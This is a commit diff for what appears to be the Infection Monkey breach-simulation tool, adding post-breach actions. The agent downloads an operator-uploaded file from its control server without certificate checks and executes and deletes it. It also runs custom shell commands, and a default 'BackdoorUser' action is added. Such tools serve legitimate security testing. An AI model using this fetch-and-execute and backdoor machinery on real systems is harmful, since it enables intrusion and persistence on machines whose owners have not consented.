forked from p15670423/monkey
Separating my post breach from previous post breach
This commit is contained in:
parent
2ce27dc885
commit
d539f2301c
|
@ -20,6 +20,7 @@ class Configuration(object):
|
|||
# now we won't work at <2.7 for sure
|
||||
network_import = importlib.import_module('infection_monkey.network')
|
||||
exploit_import = importlib.import_module('infection_monkey.exploit')
|
||||
post_breach_import = importlib.import_module('infection_monkey.post_breach')
|
||||
|
||||
unknown_items = []
|
||||
for key, value in formatted_data.items():
|
||||
|
@ -36,6 +37,9 @@ class Configuration(object):
|
|||
elif key == 'exploiter_classes':
|
||||
class_objects = [getattr(exploit_import, val) for val in value]
|
||||
setattr(self, key, class_objects)
|
||||
elif key == 'post_breach_actions':
|
||||
class_objects = [getattr(post_breach_import, val) for val in value]
|
||||
setattr(self, key, class_objects)
|
||||
else:
|
||||
if hasattr(self, key):
|
||||
setattr(self, key, value)
|
||||
|
@ -266,7 +270,13 @@ class Configuration(object):
|
|||
|
||||
extract_azure_creds = True
|
||||
|
||||
post_breach_actions = {}
|
||||
post_breach_actions = []
|
||||
custom_post_breach = {"linux": "",
|
||||
"windows": "",
|
||||
"linux_file": None,
|
||||
"windows_file": None,
|
||||
"linux_file_info": None,
|
||||
"windows_file_info": None}
|
||||
|
||||
|
||||
WormConfiguration = Configuration()
|
||||
|
|
|
@ -8,7 +8,7 @@
|
|||
],
|
||||
"keep_tunnel_open_time": 60,
|
||||
"subnet_scan_list": [
|
||||
|
||||
|
||||
],
|
||||
"inaccessible_subnets": [],
|
||||
"blocked_ips": [],
|
||||
|
@ -97,5 +97,6 @@
|
|||
"use_file_logging": true,
|
||||
"victims_max_exploit": 7,
|
||||
"victims_max_find": 30,
|
||||
"post_breach_actions" : []
|
||||
"post_breach_actions" : [],
|
||||
"custom_post_breach" : { "linux": "", "windows": "", "linux_file": "", "windows_file": "" }
|
||||
}
|
||||
|
|
|
@ -46,6 +46,3 @@ class VictimHost(object):
|
|||
|
||||
def set_default_server(self, default_server):
|
||||
self.default_server = default_server
|
||||
|
||||
def is_linux(self):
|
||||
return 'linux' in self.os['type']
|
||||
|
|
|
@ -16,7 +16,7 @@ from infection_monkey.network.network_scanner import NetworkScanner
|
|||
from infection_monkey.system_info import SystemInfoCollector
|
||||
from infection_monkey.system_singleton import SystemSingleton
|
||||
from infection_monkey.windows_upgrader import WindowsUpgrader
|
||||
from infection_monkey.post_breach.post_breach import PostBreach
|
||||
from infection_monkey.post_breach.post_breach_handler import PostBreach
|
||||
|
||||
__author__ = 'itamar'
|
||||
|
||||
|
|
|
@ -0,0 +1,8 @@
|
|||
from infection_monkey.post_breach.pba import PBA
|
||||
|
||||
|
||||
class FileExecution(PBA):
|
||||
def __init__(self, file_path):
|
||||
linux_command = "chmod 110 {0} ; {0} ; rm {0}".format(file_path)
|
||||
win_command = "{0} & del {0}".format(file_path)
|
||||
super(FileExecution, self).__init__("File execution", linux_command, win_command)
|
|
@ -0,0 +1,38 @@
|
|||
import logging
|
||||
from infection_monkey.control import ControlClient
|
||||
import subprocess
|
||||
|
||||
LOG = logging.getLogger(__name__)
|
||||
|
||||
|
||||
# Post Breach Action container
|
||||
class PBA(object):
|
||||
def __init__(self, name="unknown", linux_command="", windows_command=""):
|
||||
self.linux_command = linux_command
|
||||
self.windows_command = windows_command
|
||||
self.name = name
|
||||
|
||||
def run(self, is_linux):
|
||||
if is_linux:
|
||||
command = self.linux_command
|
||||
exec_funct = self.execute_linux
|
||||
else:
|
||||
command = self.windows_command
|
||||
exec_funct = self.execute_win
|
||||
try:
|
||||
ControlClient.send_telemetry('post_breach', {'command': command,
|
||||
'output': exec_funct(),
|
||||
'name': self.name})
|
||||
return True
|
||||
except subprocess.CalledProcessError as e:
|
||||
ControlClient.send_telemetry('post_breach', {'command': command,
|
||||
'output': "Couldn't execute post breach command: %s" % e,
|
||||
'name': self.name})
|
||||
LOG.error("Couldn't execute post breach command: %s" % e)
|
||||
return False
|
||||
|
||||
def execute_linux(self):
|
||||
return subprocess.check_output(self.linux_command, shell=True) if self.linux_command else False
|
||||
|
||||
def execute_win(self):
|
||||
return subprocess.check_output(self.windows_command, shell=True) if self.windows_command else False
|
|
@ -1,60 +0,0 @@
|
|||
import logging
|
||||
import infection_monkey.config
|
||||
import subprocess
|
||||
import platform
|
||||
from infection_monkey.control import ControlClient
|
||||
|
||||
LOG = logging.getLogger(__name__)
|
||||
|
||||
__author__ = 'VakarisZ'
|
||||
|
||||
|
||||
# Class that handles post breach action execution
|
||||
class PostBreach(object):
|
||||
def __init__(self):
|
||||
self.pba_list = PostBreach.config_to_pba_list(infection_monkey.config.WormConfiguration)
|
||||
|
||||
def execute(self):
|
||||
for pba in self.pba_list:
|
||||
pba.run()
|
||||
|
||||
@staticmethod
|
||||
def config_to_pba_list(config):
|
||||
"""
|
||||
Should return a list of PBA's generated from config. After ATT&CK is implemented this will pick
|
||||
which PBA's to run.
|
||||
"""
|
||||
pba_list = []
|
||||
# Get custom PBA command from config
|
||||
custom_pba_linux = config.post_breach_actions['linux'] if "linux" in config.post_breach_actions else ""
|
||||
custom_pba_windows = config.post_breach_actions['windows'] if "windows" in config.post_breach_actions else ""
|
||||
|
||||
if custom_pba_linux or custom_pba_windows:
|
||||
pba_list.append(PBA('custom_pba', custom_pba_linux, custom_pba_windows))
|
||||
return pba_list
|
||||
|
||||
|
||||
# Post Breach Action container
|
||||
class PBA(object):
|
||||
def __init__(self, name="unknown", linux_command="", windows_command=""):
|
||||
self.linux_command = linux_command
|
||||
self.windows_command = windows_command
|
||||
self.name = name
|
||||
|
||||
def run(self):
|
||||
if platform.system() == 'Windows':
|
||||
ControlClient.send_telemetry('post_breach', {'command': self.windows_command,
|
||||
'output': self.execute_win(),
|
||||
'name': self.name})
|
||||
else:
|
||||
ControlClient.send_telemetry('post_breach', {'command': self.linux_command,
|
||||
'output': self.execute_linux(),
|
||||
'name': self.name})
|
||||
return False
|
||||
|
||||
def execute_linux(self):
|
||||
return subprocess.check_output(self.linux_command, shell=True) if self.linux_command else False
|
||||
|
||||
def execute_win(self):
|
||||
return subprocess.check_output(self.windows_command, shell=True) if self.windows_command else False
|
||||
|
|
@ -0,0 +1,102 @@
|
|||
import logging
|
||||
import infection_monkey.config
|
||||
import platform
|
||||
from infection_monkey.control import ControlClient
|
||||
import infection_monkey.monkeyfs as monkeyfs
|
||||
from infection_monkey.config import WormConfiguration
|
||||
import requests
|
||||
import shutil
|
||||
import os
|
||||
from file_execution import FileExecution
|
||||
from pba import PBA
|
||||
|
||||
LOG = logging.getLogger(__name__)
|
||||
|
||||
__author__ = 'VakarisZ'
|
||||
|
||||
DOWNLOAD_CHUNK = 1024
|
||||
|
||||
|
||||
# Class that handles post breach action execution
|
||||
class PostBreach(object):
|
||||
def __init__(self):
|
||||
self.os_is_linux = False if platform.system() == 'Windows' else True
|
||||
self.pba_list = self.config_to_pba_list(infection_monkey.config.WormConfiguration)
|
||||
|
||||
def execute(self):
|
||||
for pba in self.pba_list:
|
||||
pba.run(self.os_is_linux)
|
||||
|
||||
def config_to_pba_list(self, config):
|
||||
"""
|
||||
Should return a list of PBA's generated from config. After full implementation this will pick
|
||||
which PBA's to run.
|
||||
"""
|
||||
pba_list = []
|
||||
# Get custom PBA commands from config
|
||||
custom_pba_linux = config.custom_post_breach['linux']
|
||||
custom_pba_windows = config.custom_post_breach['windows']
|
||||
|
||||
if custom_pba_linux or custom_pba_windows:
|
||||
pba_list.append(PBA('custom_pba', custom_pba_linux, custom_pba_windows))
|
||||
|
||||
# Download user's pba file by providing dest. dir, filename and file size
|
||||
if config.custom_post_breach['linux_file'] and self.os_is_linux:
|
||||
uploaded = PostBreach.download_PBA_file(PostBreach.get_dest_dir(config, self.os_is_linux),
|
||||
config.custom_post_breach['linux_file_info']['name'],
|
||||
config.custom_post_breach['linux_file_info']['size'])
|
||||
if not custom_pba_linux and uploaded:
|
||||
pba_list.append(FileExecution("./"+config.custom_post_breach['linux_file_info']['name']))
|
||||
elif config.custom_post_breach['windows_file'] and not self.os_is_linux:
|
||||
uploaded = PostBreach.download_PBA_file(PostBreach.get_dest_dir(config, self.os_is_linux),
|
||||
config.custom_post_breach['windows_file_info']['name'],
|
||||
config.custom_post_breach['windows_file_info']['size'])
|
||||
if not custom_pba_windows and uploaded:
|
||||
pba_list.append(FileExecution(config.custom_post_breach['windows_file_info']['name']))
|
||||
|
||||
return pba_list
|
||||
|
||||
@staticmethod
|
||||
def download_PBA_file(dst_dir, filename, size):
|
||||
PBA_file_v_path = PostBreach.download_PBA_file_to_vfs(filename, size)
|
||||
try:
|
||||
with monkeyfs.open(PBA_file_v_path, "rb") as downloaded_PBA_file:
|
||||
with open(os.path.join(dst_dir, filename), 'wb') as written_PBA_file:
|
||||
shutil.copyfileobj(downloaded_PBA_file, written_PBA_file)
|
||||
return True
|
||||
except IOError as e:
|
||||
LOG.error("Can not download post breach file to target machine, because %s" % e)
|
||||
return False
|
||||
|
||||
@staticmethod
|
||||
def download_PBA_file_to_vfs(filename, size):
|
||||
if not WormConfiguration.current_server:
|
||||
return None
|
||||
try:
|
||||
dest_file = monkeyfs.virtual_path(filename)
|
||||
if (monkeyfs.isfile(dest_file)) and (size == monkeyfs.getsize(dest_file)):
|
||||
return dest_file
|
||||
else:
|
||||
download = requests.get("https://%s/api/pba/download/%s" %
|
||||
(WormConfiguration.current_server, filename),
|
||||
verify=False,
|
||||
proxies=ControlClient.proxies)
|
||||
|
||||
with monkeyfs.open(dest_file, 'wb') as file_obj:
|
||||
for chunk in download.iter_content(chunk_size=DOWNLOAD_CHUNK):
|
||||
if chunk:
|
||||
file_obj.write(chunk)
|
||||
file_obj.flush()
|
||||
if size == monkeyfs.getsize(dest_file):
|
||||
return dest_file
|
||||
|
||||
except Exception as exc:
|
||||
LOG.warn("Error connecting to control server %s: %s",
|
||||
WormConfiguration.current_server, exc)
|
||||
|
||||
@staticmethod
|
||||
def get_dest_dir(config, is_linux):
|
||||
if is_linux:
|
||||
return os.path.dirname(config.dropper_target_path_linux)
|
||||
else:
|
||||
return os.path.dirname(config.dropper_target_path_win_32)
|
|
@ -27,6 +27,7 @@ from cc.resources.report import Report
|
|||
from cc.resources.root import Root
|
||||
from cc.resources.telemetry import Telemetry
|
||||
from cc.resources.telemetry_feed import TelemetryFeed
|
||||
from cc.resources.pba_file_download import PBAFileDownload
|
||||
from cc.services.config import ConfigService
|
||||
|
||||
__author__ = 'Barak'
|
||||
|
@ -116,6 +117,7 @@ def init_app(mongo_url):
|
|||
api.add_resource(TelemetryFeed, '/api/telemetry-feed', '/api/telemetry-feed/')
|
||||
api.add_resource(Log, '/api/log', '/api/log/')
|
||||
api.add_resource(IslandLog, '/api/log/island/download', '/api/log/island/download/')
|
||||
api.add_resource(PBAFileDownload, '/api/pba/download/<string:path>')
|
||||
api.add_resource(RemoteRun, '/api/remote-monkey', '/api/remote-monkey/')
|
||||
|
||||
return app
|
||||
|
|
|
@ -0,0 +1,14 @@
|
|||
import json
|
||||
import logging
|
||||
import os
|
||||
|
||||
import flask_restful
|
||||
from flask import request, send_from_directory
|
||||
|
||||
UPLOADS_DIR = "./userUploads"
|
||||
|
||||
|
||||
class PBAFileDownload(flask_restful.Resource):
|
||||
# Used by monkey. can't secure.
|
||||
def get(self, path):
|
||||
return send_from_directory(UPLOADS_DIR, path)
|
|
@ -4,6 +4,9 @@ import functools
|
|||
import logging
|
||||
from jsonschema import Draft4Validator, validators
|
||||
from six import string_types
|
||||
from werkzeug.utils import secure_filename
|
||||
import os
|
||||
import base64
|
||||
|
||||
from cc.database import mongo
|
||||
from cc.encryptor import encryptor
|
||||
|
@ -33,6 +36,7 @@ ENCRYPTED_CONFIG_STRINGS = \
|
|||
['cnc', 'aws_config', 'aws_secret_access_key']
|
||||
]
|
||||
|
||||
UPLOADS_DIR = './monkey_island/cc/userUploads'
|
||||
|
||||
class ConfigService:
|
||||
default_config = None
|
||||
|
@ -138,6 +142,8 @@ class ConfigService:
|
|||
|
||||
@staticmethod
|
||||
def update_config(config_json, should_encrypt):
|
||||
if 'custom_post_breach' in config_json['monkey']['behaviour']:
|
||||
ConfigService.add_PBA_files(config_json['monkey']['behaviour']['custom_post_breach'])
|
||||
if should_encrypt:
|
||||
try:
|
||||
ConfigService.encrypt_config(config_json)
|
||||
|
@ -281,3 +287,44 @@ class ConfigService:
|
|||
pair['public_key'] = encryptor.dec(pair['public_key'])
|
||||
pair['private_key'] = encryptor.dec(pair['private_key'])
|
||||
return pair
|
||||
|
||||
@staticmethod
|
||||
def add_PBA_files(post_breach_files):
|
||||
"""
|
||||
Interceptor of config saving process that uploads PBA files to server
|
||||
and saves filenames and sizes in config instead of full file.
|
||||
:param post_breach_files: Data URL encoded files
|
||||
"""
|
||||
# If any file is uploaded
|
||||
if any(file_name in post_breach_files for file_name in ['linux_file', 'windows_file']):
|
||||
# Create directory for file uploads if not present
|
||||
if not os.path.exists(UPLOADS_DIR):
|
||||
os.makedirs(UPLOADS_DIR)
|
||||
if 'linux_file' in post_breach_files:
|
||||
linux_name, linux_size = ConfigService.upload_file(post_breach_files['linux_file'], UPLOADS_DIR)
|
||||
post_breach_files['linux_file_info']['name'] = linux_name
|
||||
post_breach_files['linux_file_info']['size'] = linux_size
|
||||
if 'windows_file' in post_breach_files:
|
||||
windows_name, windows_size = ConfigService.upload_file(post_breach_files['windows_file'], UPLOADS_DIR)
|
||||
post_breach_files['windows_file_info']['name'] = windows_name
|
||||
post_breach_files['windows_file_info']['size'] = windows_size
|
||||
|
||||
@staticmethod
|
||||
def upload_file(file_data, directory):
|
||||
"""
|
||||
We parse data URL format of the file and save it
|
||||
:param file_data: file encoded in data URL format
|
||||
:param directory: where to save the file
|
||||
:return: filename of saved file
|
||||
"""
|
||||
file_parts = file_data.split(';')
|
||||
if len(file_parts) != 3 and not file_parts[2].startswith('base64,'):
|
||||
logger.error("Invalid file format was submitted to the server")
|
||||
return False
|
||||
# Strip 'name=' from this field and secure the filename
|
||||
filename = secure_filename(file_parts[1][5:])
|
||||
file_path = os.path.join(directory, filename)
|
||||
with open(file_path, 'wb') as file_:
|
||||
file_.write(base64.decodestring(file_parts[2][7:]))
|
||||
file_size = os.path.getsize(file_path)
|
||||
return [filename, file_size]
|
||||
|
|
|
@ -94,6 +94,19 @@ SCHEMA = {
|
|||
}
|
||||
]
|
||||
},
|
||||
"post_breach_acts": {
|
||||
"title": "Post breach actions",
|
||||
"type": "string",
|
||||
"anyOf": [
|
||||
{
|
||||
"type": "string",
|
||||
"enum": [
|
||||
"BackdoorUser"
|
||||
],
|
||||
"title": "Back door user",
|
||||
},
|
||||
],
|
||||
},
|
||||
"finger_classes": {
|
||||
"title": "Fingerprint class",
|
||||
"type": "string",
|
||||
|
@ -282,26 +295,84 @@ SCHEMA = {
|
|||
"type": "boolean",
|
||||
"default": True,
|
||||
"description": "Is the monkey alive"
|
||||
}
|
||||
},
|
||||
"post_breach_actions": {
|
||||
"title": "Post breach actions",
|
||||
"type": "array",
|
||||
"uniqueItems": True,
|
||||
"items": {
|
||||
"$ref": "#/definitions/post_breach_acts"
|
||||
},
|
||||
"default": [
|
||||
"BackdoorUser",
|
||||
],
|
||||
"description": "List of actions the Monkey will run post breach"
|
||||
},
|
||||
}
|
||||
},
|
||||
"behaviour": {
|
||||
"title": "Behaviour",
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"post_breach_actions": {
|
||||
"title": "Post breach actions",
|
||||
"custom_post_breach": {
|
||||
"title": "Custom post breach actions",
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"linux": {
|
||||
"title": "Linux command",
|
||||
"type": "string",
|
||||
"description": "Linux command to execute after breaching"
|
||||
"default": "",
|
||||
"description": "Linux command to execute after breaching."
|
||||
},
|
||||
"linux_file": {
|
||||
"title": "Linux file",
|
||||
"type": "string",
|
||||
"format": "data-url",
|
||||
"description": "File to be executed after breaching. "
|
||||
"If you want custom execution behavior, "
|
||||
"specify it in 'Linux command' field. "
|
||||
},
|
||||
"windows": {
|
||||
"title": "Windows command",
|
||||
"type": "string",
|
||||
"default": "",
|
||||
"description": "Windows command to execute after breaching"
|
||||
},
|
||||
"windows_file": {
|
||||
"title": "Windows file",
|
||||
"type": "string",
|
||||
"format": "data-url",
|
||||
"description": "File to be executed after breaching. "
|
||||
"If you want custom execution behavior, "
|
||||
"specify it in 'Windows command' field. "
|
||||
},
|
||||
"windows_file_info": {
|
||||
"title": "Windows PBA file info",
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"name": {
|
||||
"type": "string",
|
||||
"default": ""
|
||||
},
|
||||
"size": {
|
||||
"type": "string",
|
||||
"default": "0"
|
||||
},
|
||||
}
|
||||
},
|
||||
"linux_file_info": {
|
||||
"title": "Linux PBA file info",
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"name": {
|
||||
"type": "string",
|
||||
"default": ""
|
||||
},
|
||||
"size": {
|
||||
"type": "string",
|
||||
"default": "0"
|
||||
},
|
||||
}
|
||||
}
|
||||
},
|
||||
"default": [
|
||||
|
|
|
@ -143,7 +143,7 @@ class NodeService:
|
|||
"os": NodeService.get_monkey_os(monkey),
|
||||
"dead": monkey["dead"],
|
||||
"domain_name": "",
|
||||
"post_breach_actions": monkey["post_breach_actions"]
|
||||
"post_breach_actions": monkey["post_breach_actions"] if "post_breach_actions" in monkey else ""
|
||||
}
|
||||
|
||||
@staticmethod
|
||||
|
|
|
@ -59,6 +59,16 @@ class ConfigurePageComponent extends AuthComponent {
|
|||
})
|
||||
.then(res => res.json())
|
||||
.then(res => {
|
||||
// Leave PBA files on external configuration
|
||||
if ('linux_file' in this.state.configuration.monkey.behaviour.custom_post_breach){
|
||||
let linux_file = this.state.configuration.monkey.behaviour.custom_post_breach.linux_file;
|
||||
res.configuration.monkey.behaviour.custom_post_breach.windows_file = linux_file;
|
||||
}
|
||||
if ('windows_file' in this.state.configuration.monkey.behaviour.custom_post_breach){
|
||||
let windows_file = this.state.configuration.monkey.behaviour.custom_post_breach.windows_file;
|
||||
res.configuration.monkey.behaviour.custom_post_breach.linux_file = windows_file;
|
||||
}
|
||||
|
||||
this.setState({
|
||||
lastAction: 'saved',
|
||||
schema: res.schema,
|
||||
|
@ -154,7 +164,7 @@ class ConfigurePageComponent extends AuthComponent {
|
|||
let displayedSchema = {};
|
||||
const uiSchema = {
|
||||
behaviour: {
|
||||
post_breach_actions: {
|
||||
custom_post_breach: {
|
||||
linux: {
|
||||
"ui:widget": "textarea"
|
||||
},
|
||||
|
@ -193,7 +203,7 @@ class ConfigurePageComponent extends AuthComponent {
|
|||
uiSchema={uiSchema}
|
||||
formData={this.state.configuration[this.state.selectedSection]}
|
||||
onSubmit={this.onSubmit}
|
||||
onChange={this.onChange}>
|
||||
onChange={this.onChange} >
|
||||
<div>
|
||||
{ this.state.allMonkeysAreDead ?
|
||||
'' :
|
||||
|
|
|
@ -2,6 +2,7 @@ import React from 'react';
|
|||
import {Button, Col} from 'react-bootstrap';
|
||||
import BreachedServers from 'components/report-components/BreachedServers';
|
||||
import ScannedServers from 'components/report-components/ScannedServers';
|
||||
import PostBreach from 'components/report-components/PostBreach';
|
||||
import {ReactiveGraph} from 'components/reactive-graph/ReactiveGraph';
|
||||
import {edgeGroupToColor, options} from 'components/map/MapOptions';
|
||||
import StolenPasswords from 'components/report-components/StolenPasswords';
|
||||
|
@ -460,6 +461,9 @@ class ReportPageComponent extends AuthComponent {
|
|||
<div style={{marginBottom: '20px'}}>
|
||||
<BreachedServers data={this.state.report.glance.exploited}/>
|
||||
</div>
|
||||
<div style={{marginBottom: '20px'}}>
|
||||
<PostBreach data={this.state.report.glance.exploited}/>
|
||||
</div>
|
||||
<div style={{marginBottom: '20px'}}>
|
||||
<ScannedServers data={this.state.report.glance.scanned}/>
|
||||
</div>
|
||||
|
|
|
@ -9,10 +9,6 @@ let renderIpAddresses = function (val) {
|
|||
return <div>{renderArray(val.ip_addresses)} {(val.domain_name ? " (".concat(val.domain_name, ")") : "")} </div>;
|
||||
};
|
||||
|
||||
let renderPostBreach = function (val) {
|
||||
return <div>{val.map(x => <div>Name: {x.name}<br/>Command: {x.command}<br/>Output: {x.output}<br/></div>)}</div>;
|
||||
};
|
||||
|
||||
const columns = [
|
||||
{
|
||||
Header: 'Breached Servers',
|
||||
|
@ -20,9 +16,7 @@ const columns = [
|
|||
{Header: 'Machine', accessor: 'label'},
|
||||
{Header: 'IP Addresses', id: 'ip_addresses',
|
||||
accessor: x => renderIpAddresses(x)},
|
||||
{Header: 'Exploits', id: 'exploits', accessor: x => renderArray(x.exploits)},
|
||||
{Header: 'Post breach actions:', id: 'post_breach_actions', accessor: x => renderPostBreach(x.post_breach_actions)}
|
||||
|
||||
{Header: 'Exploits', id: 'exploits', accessor: x => renderArray(x.exploits)}
|
||||
]
|
||||
}
|
||||
];
|
||||
|
|
|
@ -0,0 +1,53 @@
|
|||
import React from 'react';
|
||||
import ReactTable from 'react-table'
|
||||
|
||||
let renderArray = function(val) {
|
||||
return <div>{val.map(x => <div>{x}</div>)}</div>;
|
||||
};
|
||||
|
||||
let renderIpAddresses = function (val) {
|
||||
return <div>{renderArray(val.ip_addresses)} {(val.domain_name ? " (".concat(val.domain_name, ")") : "")} </div>;
|
||||
};
|
||||
|
||||
let renderPostBreach = function (val) {
|
||||
return <div>{val.map(x => <div>Name: {x.name}<br/>Command: {x.command}<br/>Output: {x.output}<br/></div>)}</div>;
|
||||
};
|
||||
|
||||
let renderMachine = function (val) {
|
||||
return <div>{val.label} {renderIpAddresses(val)}</div>
|
||||
};
|
||||
|
||||
const columns = [
|
||||
{
|
||||
Header: 'Post breach actions',
|
||||
columns: [
|
||||
{Header: 'Machine', id: 'machines', accessor: x => renderMachine(x)},
|
||||
{Header: 'Post breach actions:', id: 'post_breach_actions', accessor: x => renderPostBreach(x.post_breach_actions)}
|
||||
]
|
||||
}
|
||||
];
|
||||
|
||||
const pageSize = 10;
|
||||
|
||||
class PostBreachComponent extends React.Component {
|
||||
constructor(props) {
|
||||
super(props);
|
||||
}
|
||||
|
||||
render() {
|
||||
let defaultPageSize = this.props.data.length > pageSize ? pageSize : this.props.data.length;
|
||||
let showPagination = this.props.data.length > pageSize;
|
||||
return (
|
||||
<div className="data-table-container">
|
||||
<ReactTable
|
||||
columns={columns}
|
||||
data={this.props.data}
|
||||
showPagination={showPagination}
|
||||
defaultPageSize={defaultPageSize}
|
||||
/>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
export default PostBreachComponent;
|
Loading…
Reference in New Issue